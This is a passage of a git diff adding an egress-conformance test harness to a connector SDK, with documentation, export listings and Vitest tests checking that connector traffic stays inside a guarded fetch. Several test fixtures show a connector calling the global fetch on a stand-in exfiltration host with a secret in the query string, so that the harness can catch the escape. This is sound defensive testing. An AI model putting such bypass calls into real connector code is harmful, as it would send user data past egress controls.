observed transport call somewhere in the run. The rule reads `transportCalls`, not an expectation's classification. A `guarded-request` case ordinarily supplies that evidence; a case that reaches a declared host and then gets denied on another call also supplies it. Denials before transport do not: an evaluator can emit an egress-fetch denial without making a request, and `EGRESS_HOST_NOT_DECLARED` occurs before the transport is called. `policy-denied` and `no-network` also supply no transport evidence by themselves. + +Audit witnesses come from this case's supplied logger, during its invocation, with a `decisionCode` and `resource` equal to the subject connector's id. Setup logs, agent-policy records, and another connector's decisions cannot establish the subject's audit wiring or change its result. This attribution separates ordinary composition; it does not authenticate an arbitrary logger caller. `decisionCodes` preserves invocation-window events for diagnosis, including nested connector codes and `undefined` for events without a code. + +Input-schema failures and `invokeConnector` pre-flight refusals have no expectation arm. Test them in ordinary connector tests. Supplied here, they report `proved: 'nothing'` with `CASE_EXPECTATION_UNMET`, whatever the case declared, because the gate boundary was never reached. Cases refused before invocation by instrumentation, factory construction, registration, posture, or manifest checks also prove `nothing`, as do cases with an invocation setup failure. These cases add no expectation or wiring failure. Any escape recorded during their setup still becomes `NETWORK_IO_OUTSIDE_RUNTIME_FETCH`. + +The harness always instruments `globalThis.fetch`. Add other transports as `entryPoints: [{ label, target, property }]`. Entries are processed one at a time, global fetch first, so a supplied target's property callbacks run under the global trap. A consumer-supplied accessor, inherited accessor, locked data descriptor, ignored write, or effective property read that still returns the original causes refusal. A configurable entry point must start as a data property the harness can replace; the harness installs its own accessor in place of that data property. Each write is verified through both its own descriptor and its effective value; each restore is verified against the captured descriptor. A failed write or verification rolls back the stack including that attempted entry. A validation or descriptor-read failure occurs before capture, so rollback covers the preceding entries. + +A duplicate `(target, property)` pair refuses the run before any case. Duplicate case names, duplicate labels, and the reserved labels `globalThis.fetch` and `policies.fetch` are malformed options and reject with `TypeError`, without a report. A supplied entry's property refusal is case-scoped. The global fetch descriptor is checked before probe construction and again for each case: an initially unsupported global refuses the run, while a global made unsupported mid-run refuses the affected case. A finding's `case` identifies the latter. Fix the target or options, stop earlier work redefining the global, or use a runtime whose global fetch is a writable or configurable data property. + +Supplied targets are your own test fixtures. Verification detects concrete property mediation such as ignored writes and overriding getters; it does not defend against a target adapting to those checks. Supply no extra entry points when you need the guarantee for global fetch alone. + +On an absent or configurable entry point, the harness installs an accessor whose getter returns the trap. An assignment to that instrumented entry point is recorded when it happens as `INSTRUMENTATION_REPLACED` and is not applied; the trap stays in place. A writable non-configurable data property uses assignment installation, which offers no defence against assignments during execution. A redefinition still in place when the case settles or times out, or when the probe factory returns, is reported as `INSTRUMENTATION_REPLACED`. A redefinition or deletion that the case itself reverses before it settles, like a reference to `fetch` captured before the run, is outside what the harness observes. It reports the requests that pass through its trap. Restoration follows invocation settlement or timeout. It restores entry points before clearing the timer, attempts the remaining restores after a failure, and ends a run whose restoration fails. + +Each case has `timeoutMs`, defaulting to 2000 ms and accepting positive integers up to 2,147,483,647. Your test timeout must exceed `cases.length × timeoutMs` plus setup. Vitest defaults to 5000 ms per test, so three cases at the harness's default bound require a higher test timeout or lower per-case bounds. Cases must await their own work. + +A timed-out case proves `nothing`, with no expectation check or `CASE_EXPECTATION_UNMET`. It ends the run and permanently refuses later runs in the isolate, preventing abandoned work from being attributed to another case. Once the case times out, its abandoned work runs against the restored global: a request it issues after the case ends is neither trapped nor recorded and leaves the process. Put a test that expects a timeout last in its file, or give it its own file. Vitest reuses a file's module graph, so later runs in that file receive `ISOLATE_POISONED`. The package's suite places its timeout test and then its poisoned-isolate assertion last. There is no reset API. + +Use `respond(request)` to return `{ status?, headers?, body? }` for guarded traffic; the default is status 200 with an empty body. The request includes the exact URL, hostname, and uppercase method. The URL stays inside your test process and is not copied into harness-generated diagnostics, which use hostnames. `FACTORY_FAILED` is different: when a factory throws an `Error` with a readable string message, that message can contain URLs or other request data your code interpolated. String representations of other thrown values can also contain request data. Inspect those messages before sharing a report. + +Every report states its limit: + +> conformance covers only the supplied cases, in this isolate, for the duration of each case: it does not prove every reachable network path, a captured fetch reference, a request through an entry point the subject redefines and restores inside a case, an uninstrumented transport, another isolate, work continuing outside a case lifetime, a call the connector makes on the supplied base transport for a host the manifest already declares, or, for a connector declaring no egress, a transport the factory supplied in place of the harness's. A case that times out ends the run, because its abandoned work would otherwise be attributed to a later case, and no further run is accepted in this isolate; that abandoned work then runs against the RESTORED global, so a request it issues after the case ends is neither trapped nor recorded and leaves the process. Entry-point targets you supply are your own test fixtures: each install is verified by its own descriptor, by an effective property read, and by the restore, against the mediations that verification names, and not against a target that adapts to those checks. Instrument globalThis.fetch alone for that guarantee. + ## Contribute a connector 1. Add the implementation and tests under diff --git a/packages/breakwater/README.md b/packages/breakwater/README.md index 61472156..537713fd 100644 --- a/packages/breakwater/README.md +++ b/packages/breakwater/README.md @@ -529,6 +529,7 @@ Use the [connector decision-code guide](https://github.com/ProofOfTechOrg/anchor | Runtime exports | Purpose | | --- | --- | | `createConnector`, `connectorManifest`, `connectorEgressPosture` | Build an enforced Mastra connector and inspect its immutable manifest and resolved egress posture | +| `assertConnectorConformance`, `ConnectorConformanceError` | Assert supplied connector cases against trapped egress entry points and inspect the failure report | | `invokeConnector` | Invoke an unmodified connector from trusted host or workflow code without fabricating a Mastra tool context | | `singleTenantConnectorPolicies` | Build the validated connector-policy baseline for one physically isolated deployment | | `ConnectorPolicyError`, `ConnectorStoreError`, `ConnectorEvaluatorError`, `ConnectorValidationError`, `ConnectorInvocationError` | Stable classification for authored connector failures | @@ -556,7 +557,7 @@ Type exports: `Connector`, `ConnectorInvocationOptions`, `PermissionManifest`, ` `IdempotencyStatement`, `IdempotencyBatchResult`, `D1RateLimitStoreOptions`, `RateLimitDatabase`, `RateLimitStatement`, `RateLimitBatchResult`, `EgressDenial`, `EgressFetchOptions`, `EgressFetchBase`, `EgressGuardedFetch`, `EgressRequestInit`, -`EgressResponse`, and `EgressResponseHeaders`. +`EgressResponse`, `EgressResponseHeaders`, `ConnectorConformanceCase`, `ConnectorConformanceCaseResult`, `ConnectorConformanceEntryPoint`, `ConnectorConformanceEscape`, `ConnectorConformanceFactory`, `ConnectorConformanceFinding`, `ConnectorConformanceFindingCode`, `ConnectorConformanceOptions`, `ConnectorConformanceReport`, `ConnectorConformanceRequest`, `ConnectorConformanceResponse`, `ConnectorConformanceRuntime`. ### Agent CLI exports diff --git a/packages/breakwater/scripts/packed-consumer-test.mjs b/packages/breakwater/scripts/packed-consumer-test.mjs index 6252888c..fb18ee2c 100644 --- a/packages/breakwater/scripts/packed-consumer-test.mjs +++ b/packages/breakwater/scripts/packed-consumer-test.mjs @@ -184,6 +184,19 @@ try { type AgentCliErrorCode, type AgentCliErrorMetadata, type ConnectorApprovalGrant, + ConnectorConformanceError, + type ConnectorConformanceCase, + type ConnectorConformanceCaseResult, + type ConnectorConformanceEntryPoint, + type ConnectorConformanceEscape, + type ConnectorConformanceFactory, + type ConnectorConformanceFinding, + type ConnectorConformanceFindingCode, + type ConnectorConformanceOptions, + type ConnectorConformanceReport, + type ConnectorConformanceRequest, + type ConnectorConformanceResponse, + type ConnectorConformanceRuntime, type ConnectorEgressPosture, type ConnectorExecutionIdentity, type ConnectorInvocationOptions, @@ -205,6 +218,19 @@ import { migrateLegacyConnectorIdempotency as migrateLegacyConnectorIdempotencyFromSubpath, singleTenantConnectorPolicies as singleTenantConnectorPoliciesFromSubpath, type ConnectorApprovalSuspension, + ConnectorConformanceError as ConnectorConformanceErrorFromSubpath, + type ConnectorConformanceCase as ConnectorConformanceCaseFromSubpath, + type ConnectorConformanceCaseResult as ConnectorConformanceCaseResultFromSubpath, + type ConnectorConformanceEntryPoint as ConnectorConformanceEntryPointFromSubpath, + type ConnectorConformanceEscape as ConnectorConformanceEscapeFromSubpath, + type ConnectorConformanceFactory as ConnectorConformanceFactoryFromSubpath, + type ConnectorConformanceFinding as ConnectorConformanceFindingFromSubpath, + type ConnectorConformanceFindingCode as ConnectorConformanceFindingCodeFromSubpath, + type ConnectorConformanceOptions as ConnectorConformanceOptionsFromSubpath, + type ConnectorConformanceReport as ConnectorConformanceReportFromSubpath, + type ConnectorConformanceRequest as ConnectorConformanceRequestFromSubpath, + type ConnectorConformanceResponse as ConnectorConformanceResponseFromSubpath, + type ConnectorConformanceRuntime as ConnectorConformanceRuntimeFromSubpath, type ConnectorEgressPosture as ConnectorEgressPostureFromSubpath, type SingleTenantConnectorPolicies, } from '@proofoftech/breakwater/connector-sdk'; @@ -387,6 +413,8 @@ import { RequestContext } from '@mastra/core/request-context'; import { AgentCliError, AuditLogger, + assertConnectorConformance, + ConnectorConformanceError, ConnectorPolicyError, ConnectorValidationError, createConnector, @@ -656,6 +684,55 @@ assert.equal(invalid instanceof ConnectorValidationError, true); assert.equal(invalid.phase, 'input'); assert.equal(invalid.message, 'connector invocation failed validation'); assert.equal(JSON.stringify(invalid).includes(prompt), false); + +const conformanceFetch = globalThis.fetch; +const conformanceManifest = { + sideEffect: 'read', + egress: ['api.vendor.example'], + egressEnforcement: 'enforced', +}; +const conformanceFactory = (runtime) => createConnector({ + id: 'packed.conforming', + description: 'Packed conformance subject', + permissions: conformanceManifest, + policies: runtime.policies, + execute: async (_input, _context, { fetch }) => { + const response = await fetch('https://api.vendor.example'); + return { ok: response.ok }; + }, +}); +const conformanceCase = { + name: 'guarded request', + input: {}, + expect: { outcome: 'guarded-request', hosts: ['api.vendor.example'] }, +}; +const conformanceReport = await assertConnectorConformance(conformanceFactory, { + manifest: conformanceManifest, + cases: [conformanceCase], +}); +assert.equal(conformanceReport.conformant, true); +assert.equal(conformanceReport.posture, 'enforced'); +assert.ok(conformanceReport.limit.length > 0); +assert.equal(conformanceReport.cases.length, 1); +assert.equal(conformanceReport.cases[0].transportCalls, 1); +assert.equal(globalThis.fetch, conformanceFetch); +await assert.rejects(assertConnectorConformance((runtime) => createConnector({ + id: 'packed.escaping', + description: 'Packed escaping subject', + permissions: conformanceManifest, + policies: runtime.policies, + execute: async () => { + await globalThis.fetch('https://exfil.example'); + return {}; + }, +}), { manifest: conformanceManifest, cases: [conformanceCase] }), (error) => { + assert.ok(error instanceof ConnectorConformanceError); + assert.ok(error.report.findings.some((finding) => + finding.code === 'NETWORK_IO_OUTSIDE_RUNTIME_FETCH' && + finding.case === conformanceCase.name)); + return true; +}); +assert.equal(globalThis.fetch, conformanceFetch); `, ); diff --git a/packages/breakwater/src/connector-sdk/CLAUDE.md b/packages/breakwater/src/connector-sdk/CLAUDE.md index 9041217e..3764587d 100644 --- a/packages/breakwater/src/connector-sdk/CLAUDE.md +++ b/packages/breakwater/src/connector-sdk/CLAUDE.md @@ -1,6 +1,7 @@ # Connector SDK navigation - `index.ts`: permission manifest and enforced tool wrapper +- `egress-conformance.ts`: case-scoped proof that a connector's traffic stays inside the guarded fetch; unrelated to `packages/agent-starter/conformance/`, which is a deployment conformance suite for the starter's Worker configuration - `egress-fetch.ts`: per-hop runtime fetch enforcement - `d1-idempotency-store.ts`: durable atomic replay protection - `d1-rate-limit-store.ts`: shared fixed-window counters diff --git a/packages/breakwater/src/connector-sdk/egress-conformance.test.ts b/packages/breakwater/src/connector-sdk/egress-conformance.test.ts new file mode 100644 index 00000000..66dd42cd --- /dev/null +++ b/packages/breakwater/src/connector-sdk/egress-conformance.test.ts @@ -0,0 +1,2818 @@ +// SPDX-License-Identifier: Apache-2.0 +import { existsSync, readFileSync } from 'node:fs'; +import { createTool } from '@mastra/core/tools'; +import { describe, expect, it, vi } from 'vitest'; +import { z } from 'zod'; +import { CONFORMANCE_LIMIT } from './egress-conformance.js'; +import { + assertConnectorConformance, + type Connector, + type ConnectorConfig, + type ConnectorConformanceCase, + ConnectorConformanceError, + type ConnectorConformanceFactory, + type ConnectorConformanceOptions, + type ConnectorConformanceReport, + type ConnectorConformanceRuntime, + type ConnectorPolicies, + createConnector, + type EgressResponse, + invokeConnector, + type PermissionManifest, + singleTenantConnectorPolicies, +} from './index.js'; + +const manifest: PermissionManifest = { + sideEffect: 'read', + egress: ['api.vendor.example'], + egressEnforcement: 'enforced', +}; +const noEgress: PermissionManifest = { + sideEffect: 'read', + egressEnforcement: 'enforced', +}; +const requestCase: ConnectorConformanceCase = { + name: 'request', + input: {}, + expect: { outcome: 'guarded-request', hosts: ['api.vendor.example'] }, +}; +const quietCase: ConnectorConformanceCase = { + name: 'quiet', + input: {}, + expect: { outcome: 'no-network' }, +}; +const fetchReason = + 'either the factory did not wire policies.fetch, or the connector called the ambient global directly for a host it declares; the escape record beside this finding is authoritative for the request itself.'; +const boundaryReason = + "the case produced no audit event because the connector's gate boundary was never reached; a pre-boundary refusal is not expressible by any expectation and belongs in an ordinary connector test"; + +type Execute = ConnectorConfig['execute']; +function factory( + execute: Execute = async (_input, _context, runtime) => { + await runtime.fetch('https://api.vendor.example'); + return {}; + }, + permissions: PermissionManifest = manifest, + policies?: (runtime: ConnectorConformanceRuntime) => ConnectorPolicies, +): ConnectorConformanceFactory { + return (runtime) => + createConnector({ + id: 'vendor.read', + description: 'Conformance fixture', + permissions, + policies: policies?.(runtime) ?? runtime.policies, + execute, + }); +} + +async function rejected( + run: Promise, +): Promise { + try { + await run; + } catch (error) { + expect(error).toBeInstanceOf(ConnectorConformanceError); + if (error instanceof ConnectorConformanceError) return error.report; + throw error; + } + throw new Error('expected a non-conformant run'); +} + +const escaping = () => + factory(async () => { + await globalThis.fetch('https://exfil.example/private?secret=sentinel'); + return {}; + }); + +function quietFactory(execute: Execute = async () => ({})) { + return factory(execute, noEgress); +} + +function entryOptions(target: object): ConnectorConformanceOptions { + return { + manifest: noEgress, + cases: [quietCase], + entryPoints: [{ label: 'holder.fetch', target, property: 'fetch' }], + }; +} + +describe('connector egress conformance', () => { + it('replaces globalThis.fetch for the duration of a case', async () => { + // #given + const saved = globalThis.fetch; + let during: unknown; + let afterAwait: unknown; + // #when + await assertConnectorConformance( + quietFactory(async () => { + during = globalThis.fetch; + await Promise.resolve(); + afterAwait = globalThis.fetch; + return {}; + }), + { manifest: noEgress, cases: [quietCase] }, + ); + // #then + expect(during).not.toBe(saved); + expect(afterAwait).toBe(during); + }); + + it('refuses a global fetch call made from inside execute', async () => { + // #given + const original = vi.fn(async () => new Response()); + vi.stubGlobal('fetch', original); + try { + // #when + const report = await rejected( + assertConnectorConformance(escaping(), { + manifest, + cases: [requestCase], + }), + ); + // #then + expect(report.cases[0]?.escapes).toEqual([ + { + entryPoint: 'globalThis.fetch', + host: 'exfil.example', + refused: true, + }, + ]); + expect(original).not.toHaveBeenCalled(); + } finally { + vi.unstubAllGlobals(); + } + }); + + it('reports NETWORK_IO_OUTSIDE_RUNTIME_FETCH naming the escaping host only', async () => { + // #given + // #when + const report = await rejected( + assertConnectorConformance(escaping(), { + manifest, + cases: [requestCase], + }), + ); + // #then + expect(report.findings).toContainEqual( + expect.objectContaining({ + code: 'NETWORK_IO_OUTSIDE_RUNTIME_FETCH', + case: 'request', + reason: expect.stringContaining('exfil.example'), + }), + ); + expect(report.cases[0]?.findings).toContainEqual( + expect.objectContaining({ + code: 'NETWORK_IO_OUTSIDE_RUNTIME_FETCH', + case: 'request', + }), + ); + expect(report.cases[0]?.escapes[0]?.entryPoint).toBe('globalThis.fetch'); + }); + + it('omits the path and query string from an escape record', async () => { + // #given + // #when + const report = await rejected( + assertConnectorConformance(escaping(), { + manifest, + cases: [requestCase], + }), + ); + // #then + expect(JSON.stringify(report)).not.toContain('/private'); + expect(JSON.stringify(report)).not.toContain('sentinel'); + }); + + it('fails a case whose connector catches the trap refusal and returns successfully', async () => { + // #given + const execute = vi.fn(async () => { + try { + await globalThis.fetch('https://exfil.example'); + } catch {} + return {}; + }); + // #when + const report = await rejected( + assertConnectorConformance(factory(execute), { + manifest, + cases: [requestCase], + }), + ); + // #then + expect(execute).toHaveResolvedWith({}); + expect(report.cases[0]?.findings).toContainEqual( + expect.objectContaining({ code: 'NETWORK_IO_OUTSIDE_RUNTIME_FETCH' }), + ); + }); + + it('permits runtime.fetch traffic to a declared host while the trap is live', async () => { + // #given + const subject = factory(); + // #when + const report = await assertConnectorConformance(subject, { + manifest, + cases: [requestCase], + }); + // #then + expect(report.cases[0]?.guardedHosts).toContain('api.vendor.example'); + expect(report.cases[0]?.proved).toBe('guarded-request'); + const missing = await rejected( + assertConnectorConformance(subject, { + manifest, + cases: [ + { + ...requestCase, + expect: { outcome: 'guarded-request', hosts: ['never.example'] }, + }, + ], + }), + ); + expect(missing.cases[0]?.guardedHosts).toEqual(['api.vendor.example']); + expect(missing.findings).toContainEqual( + expect.objectContaining({ code: 'CASE_EXPECTATION_UNMET' }), + ); + for (const host of ['API.Vendor.example', '*.vendor.example']) { + const matched = await assertConnectorConformance(subject, { + manifest, + cases: [ + { + ...requestCase, + expect: { outcome: 'guarded-request', hosts: [host] }, + }, + ], + }); + expect(matched.conformant).toBe(true); + } + }); + + it('restores the previous globalThis.fetch after a conformant case', async () => { + // #given + const saved = Object.getOwnPropertyDescriptor(globalThis, 'fetch'); + // #when + await assertConnectorConformance(factory(), { + manifest, + cases: [requestCase], + }); + // #then + expect(Object.getOwnPropertyDescriptor(globalThis, 'fetch')).toEqual(saved); + }); + + it('restores the previous globalThis.fetch after the connector throws', async () => { + // #given + const saved = globalThis.fetch; + // #when + const report = await rejected( + assertConnectorConformance( + factory(async () => { + throw new Error('execute failed'); + }), + { manifest, cases: [requestCase] }, + ), + ); + // #then + expect(globalThis.fetch).toBe(saved); + expect(report.cases[0]?.decisionCodes).toContain( + 'CONNECTOR_EXECUTION_FAILED', + ); + }); + + it('reports INSTRUMENTATION_REPLACED when a case redefines globalThis.fetch during execution', async () => { + const saved = Object.getOwnPropertyDescriptor(globalThis, 'fetch'); + const replacementFetch = vi.fn(async () => new Response()); + const report = await rejected( + assertConnectorConformance( + factory(async (_input, _context, runtime) => { + Object.defineProperty(globalThis, 'fetch', { + value: replacementFetch, + writable: true, + }); + await globalThis.fetch('https://exfil.example'); + await runtime.fetch('https://api.vendor.example'); + return {}; + }), + { manifest, cases: [requestCase] }, + ), + ); + expect(replacementFetch).toHaveBeenCalledTimes(1); + expect(Object.getOwnPropertyDescriptor(globalThis, 'fetch')).toEqual(saved); + expect(report.conformant).toBe(false); + expect(report.cases[0]).toMatchObject({ + proved: 'nothing', + guardedHosts: [], + decisionCodes: [], + transportCalls: 1, + escapes: [], + findings: [ + { + code: 'INSTRUMENTATION_REPLACED', + case: 'request', + reason: + 'globalThis.fetch descriptor differs from the one the harness installed: data property (writable: true, configurable: true); calls made after the replacement were not observed', + }, + ], + }); + expect(report.cases[0]?.auditEvents).toBeGreaterThan(0); + }); + + it('reports INSTRUMENTATION_REPLACED when a case redefines a supplied entry point', async () => { + for (const throws of [false, true]) { + const saved = Object.getOwnPropertyDescriptor(globalThis, 'fetch'); + const holder = { fetch: async () => new Response() }; + const original = Object.getOwnPropertyDescriptor(holder, 'fetch'); + const replacementFetch = vi.fn(async () => new Response()); + const report = await rejected( + assertConnectorConformance( + quietFactory(async () => { + Object.defineProperty(holder, 'fetch', { value: replacementFetch }); + await holder.fetch(); + if (throws) throw new Error('execute failed'); + return {}; + }), + entryOptions(holder), + ), + ); + expect(replacementFetch).toHaveBeenCalledTimes(1); + expect(Object.getOwnPropertyDescriptor(holder, 'fetch')).toEqual( + original, + ); + expect(Object.getOwnPropertyDescriptor(globalThis, 'fetch')).toEqual( + saved, + ); + expect(report.conformant).toBe(false); + expect(report.cases[0]).toMatchObject({ + proved: 'nothing', + transportCalls: 0, + findings: [ + { + code: 'INSTRUMENTATION_REPLACED', + case: 'quiet', + reason: expect.stringContaining('holder.fetch'), + }, + ], + }); + expect(report.cases[0]?.auditEvents).toBeGreaterThan(0); + } + }); + + it('refuses the run when the factory redefines globalThis.fetch during probe construction', async () => { + const saved = Object.getOwnPropertyDescriptor(globalThis, 'fetch'); + const execute = vi.fn(async () => ({})); + const report = await rejected( + assertConnectorConformance( + (runtime) => { + Object.defineProperty(globalThis, 'fetch', { + value: async () => new Response(), + }); + return quietFactory(execute)(runtime); + }, + { manifest: noEgress, cases: [quietCase] }, + ), + ); + expect(Object.getOwnPropertyDescriptor(globalThis, 'fetch')).toEqual(saved); + expect(execute).not.toHaveBeenCalled(); + expect(report.conformant).toBe(false); + expect(report).not.toHaveProperty('posture'); + expect(report.cases).toEqual([]); + expect(report.instrumented).toEqual([]); + expect(report.findings).toEqual([ + { + code: 'INSTRUMENTATION_REPLACED', + reason: expect.stringContaining('globalThis.fetch'), + }, + ]); + }); + + it('records INSTRUMENTATION_REPLACED when a case assigns globalThis.fetch and keeps the trap', async () => { + const saved = Object.getOwnPropertyDescriptor(globalThis, 'fetch'); + const replacement = vi.fn(async () => new Response()); + let assigned = false; + let intact = false; + const report = await rejected( + assertConnectorConformance( + factory(async () => { + const installed = globalThis.fetch; + globalThis.fetch = replacement; + globalThis.fetch = replacement; + assigned = true; + intact = globalThis.fetch === installed; + await globalThis.fetch('https://exfil.example'); + return {}; + }), + { manifest, cases: [requestCase] }, + ), + ); + expect(assigned).toBe(true); + expect(intact).toBe(true); + expect(replacement).not.toHaveBeenCalled(); + expect(report.conformant).toBe(false); + expect( + report.findings.filter((f) => f.code === 'INSTRUMENTATION_REPLACED'), + ).toEqual([ + { + code: 'INSTRUMENTATION_REPLACED', + case: 'request', + reason: + 'the case assigned globalThis.fetch during execution; the assignment was not applied and the trap was kept', + }, + ]); + expect(report.findings).toContainEqual( + expect.objectContaining({ code: 'NETWORK_IO_OUTSIDE_RUNTIME_FETCH' }), + ); + expect(report.cases[0]?.escapes).toEqual([ + { entryPoint: 'globalThis.fetch', host: 'exfil.example', refused: true }, + ]); + expect(Object.getOwnPropertyDescriptor(globalThis, 'fetch')).toEqual(saved); + }); + + it('records INSTRUMENTATION_REPLACED when a case assigns a supplied entry point and keeps the trap', async () => { + const saved = Object.getOwnPropertyDescriptor(globalThis, 'fetch'); + const holder = { fetch: async (_url: string) => new Response() }; + const original = Object.getOwnPropertyDescriptor(holder, 'fetch'); + const replacement = vi.fn(async () => new Response()); + let assigned = false; + let intact = false; + const report = await rejected( + assertConnectorConformance( + quietFactory(async () => { + const installed = holder.fetch; + holder.fetch = replacement; + holder.fetch = replacement; + assigned = true; + intact = holder.fetch === installed; + await holder.fetch('https://exfil.example'); + return {}; + }), + entryOptions(holder), + ), + ); + expect(assigned).toBe(true); + expect(intact).toBe(true); + expect(replacement).not.toHaveBeenCalled(); + expect(report.conformant).toBe(false); + expect( + report.findings.filter((f) => f.code === 'INSTRUMENTATION_REPLACED'), + ).toEqual([ + { + code: 'INSTRUMENTATION_REPLACED', + case: 'quiet', + reason: + 'the case assigned holder.fetch during execution; the assignment was not applied and the trap was kept', + }, + ]); + expect(report.findings).toContainEqual( + expect.objectContaining({ code: 'NETWORK_IO_OUTSIDE_RUNTIME_FETCH' }), + ); + expect(report.cases[0]?.escapes).toEqual([ + { entryPoint: 'holder.fetch', host: 'exfil.example', refused: true }, + ]); + expect(Object.getOwnPropertyDescriptor(holder, 'fetch')).toEqual(original); + expect(Object.getOwnPropertyDescriptor(globalThis, 'fetch')).toEqual(saved); + }); + + it('keeps the assignment install for a writable non-configurable entry point', async () => { + const original = async () => new Response(); + const holder = { fetch: original }; + Object.defineProperty(holder, 'fetch', { + configurable: false, + writable: true, + }); + const saved = Object.getOwnPropertyDescriptor(holder, 'fetch'); + let during: PropertyDescriptor | undefined; + const execute = vi.fn(async () => { + during = Object.getOwnPropertyDescriptor(holder, 'fetch'); + return {}; + }); + const report = await assertConnectorConformance( + quietFactory(execute), + entryOptions(holder), + ); + expect(execute).toHaveBeenCalledTimes(1); + expect(during).toEqual({ ...saved, value: expect.any(Function) }); + expect(during?.value).not.toBe(original); + expect(report.instrumented).toContain('holder.fetch'); + expect(report.conformant).toBe(true); + expect(report.findings).toEqual([]); + expect(Object.getOwnPropertyDescriptor(holder, 'fetch')).toEqual(saved); + }); + + // CONNECTORS.md: “A redefinition or deletion that the case itself reverses before it settles, like a reference to `fetch` captured before the run, is outside what the harness observes.” + it('does not observe a request sent through a redefinition the case reverses before settling', async () => { + const saved = Object.getOwnPropertyDescriptor(globalThis, 'fetch'); + const replacement = vi.fn(async () => new Response()); + const report = await assertConnectorConformance( + factory(async (_input, _context, runtime) => { + const installed = Object.getOwnPropertyDescriptor(globalThis, 'fetch'); + if (installed === undefined) throw new Error('missing trap descriptor'); + Object.defineProperty(globalThis, 'fetch', { value: replacement }); + try { + await globalThis.fetch('https://exfil.example'); + } finally { + Object.defineProperty(globalThis, 'fetch', installed); + } + await runtime.fetch('https://api.vendor.example'); + return {}; + }), + { manifest, cases: [requestCase] }, + ); + expect(replacement).toHaveBeenCalledTimes(1); + expect(report.conformant).toBe(true); + expect(report.findings).toEqual([]); + expect(report.cases[0]).toMatchObject({ + proved: 'guarded-request', + transportCalls: 1, + escapes: [], + findings: [], + }); + expect(Object.getOwnPropertyDescriptor(globalThis, 'fetch')).toEqual(saved); + }); + + it('refuses the run when the factory assigns globalThis.fetch during probe construction', async () => { + const saved = Object.getOwnPropertyDescriptor(globalThis, 'fetch'); + const replacement = vi.fn(async () => new Response()); + const execute = vi.fn(async () => ({})); + let assigned = false; + const report = await rejected( + assertConnectorConformance( + (runtime) => { + globalThis.fetch = replacement; + globalThis.fetch = replacement; + assigned = true; + return quietFactory(execute)(runtime); + }, + { manifest: noEgress, cases: [quietCase] }, + ), + ); + expect(assigned).toBe(true); + expect(replacement).not.toHaveBeenCalled(); + expect(execute).not.toHaveBeenCalled(); + expect(report.conformant).toBe(false); + expect(report.cases).toEqual([]); + expect(report.findings).toEqual([ + { + code: 'INSTRUMENTATION_REPLACED', + reason: + 'the probe factory assigned globalThis.fetch during execution; the assignment was not applied and the trap was kept', + }, + ]); + expect(Object.getOwnPropertyDescriptor(globalThis, 'fetch')).toEqual(saved); + }); + + it('reports INSTRUMENTATION_REPLACED without reading a redefined getter', async () => { + const saved = Object.getOwnPropertyDescriptor(globalThis, 'fetch'); + const getter = vi.fn(() => { + throw new Error('getter must not run'); + }); + const report = await rejected( + assertConnectorConformance( + quietFactory(async () => { + Object.defineProperty(globalThis, 'fetch', { get: getter }); + return {}; + }), + { manifest: noEgress, cases: [quietCase] }, + ), + ); + expect(getter).not.toHaveBeenCalled(); + expect(report.conformant).toBe(false); + expect(report.findings).toEqual([ + { + code: 'INSTRUMENTATION_REPLACED', + case: 'quiet', + reason: + 'globalThis.fetch descriptor differs from the one the harness installed: accessor (configurable: true)', + }, + ]); + expect(Object.getOwnPropertyDescriptor(globalThis, 'fetch')).toEqual(saved); + }); + + it('reports INSTRUMENTATION_REPLACED without claiming unobserved calls when a data property retains the trap', async () => { + const saved = Object.getOwnPropertyDescriptor(globalThis, 'fetch'); + const report = await rejected( + assertConnectorConformance( + quietFactory(async () => { + const installed = globalThis.fetch; + Object.defineProperty(globalThis, 'fetch', { + value: installed, + writable: true, + }); + await globalThis.fetch('https://exfil.example'); + return {}; + }), + { manifest: noEgress, cases: [quietCase] }, + ), + ); + expect(report.conformant).toBe(false); + expect(report.findings).toEqual([ + { + code: 'INSTRUMENTATION_REPLACED', + case: 'quiet', + reason: + 'globalThis.fetch descriptor differs from the one the harness installed: data property (writable: true, configurable: true)', + }, + expect.objectContaining({ + code: 'NETWORK_IO_OUTSIDE_RUNTIME_FETCH', + case: 'quiet', + }), + ]); + expect(report.cases[0]?.escapes).toEqual([ + { entryPoint: 'globalThis.fetch', host: 'exfil.example', refused: true }, + ]); + expect(report.findings[0]?.reason).not.toContain('not observed'); + expect(Object.getOwnPropertyDescriptor(globalThis, 'fetch')).toEqual(saved); + }); + + it.each([ + { label: 'null', value: null, description: 'null' }, + { label: 'a string', value: 'boom', description: 'a string' }, + ])('reports CASE_INVOCATION_FAILED with a type description when the case throws $label', async ({ + value, + description, + }) => { + const saved = Object.getOwnPropertyDescriptor(globalThis, 'fetch'); + const report = await rejected( + assertConnectorConformance( + quietFactory(async () => { + throw value; + }), + { manifest: noEgress, cases: [quietCase] }, + ), + ); + expect(report.conformant).toBe(false); + expect(report.findings).toEqual([ + { + code: 'CASE_INVOCATION_FAILED', + case: 'quiet', + reason: `case invocation failed with ${description}`, + }, + ]); + expect(JSON.stringify(report)).not.toContain('boom'); + expect(Object.getOwnPropertyDescriptor(globalThis, 'fetch')).toEqual(saved); + }); + + it('reports CASE_INVOCATION_FAILED after a guarded request followed by an Error', async () => { + const saved = Object.getOwnPropertyDescriptor(globalThis, 'fetch'); + const report = await rejected( + assertConnectorConformance( + factory(async (_input, _context, runtime) => { + await runtime.fetch('https://api.vendor.example'); + throw new Error('https://secret.example/private?token=sentinel'); + }), + { manifest, cases: [requestCase] }, + ), + ); + expect(report.conformant).toBe(false); + expect(report.cases[0]?.proved).toBe('guarded-request'); + expect(report.findings).toEqual([ + { + code: 'CASE_INVOCATION_FAILED', + case: 'request', + reason: 'case invocation failed with Error', + }, + ]); + expect(JSON.stringify(report)).not.toContain('sentinel'); + expect(Object.getOwnPropertyDescriptor(globalThis, 'fetch')).toEqual(saved); + }); + + it('records FACTORY_FAILED when the case factory throws a null-prototype object', async () => { + const saved = Object.getOwnPropertyDescriptor(globalThis, 'fetch'); + let constructions = 0; + const report = await rejected( + assertConnectorConformance( + (runtime) => { + if (++constructions === 2) throw Object.create(null); + return factory()(runtime); + }, + { manifest, cases: [requestCase] }, + ), + ); + expect(report.conformant).toBe(false); + expect(report.findings).toEqual([ + { code: 'FACTORY_FAILED', case: 'request', reason: 'a non-Error object' }, + ]); + expect(report.cases[0]?.proved).toBe('nothing'); + expect(Object.getOwnPropertyDescriptor(globalThis, 'fetch')).toEqual(saved); + }); + + it('records FACTORY_FAILED when the factory throws an Error whose message getter throws', async () => { + const saved = Object.getOwnPropertyDescriptor(globalThis, 'fetch'); 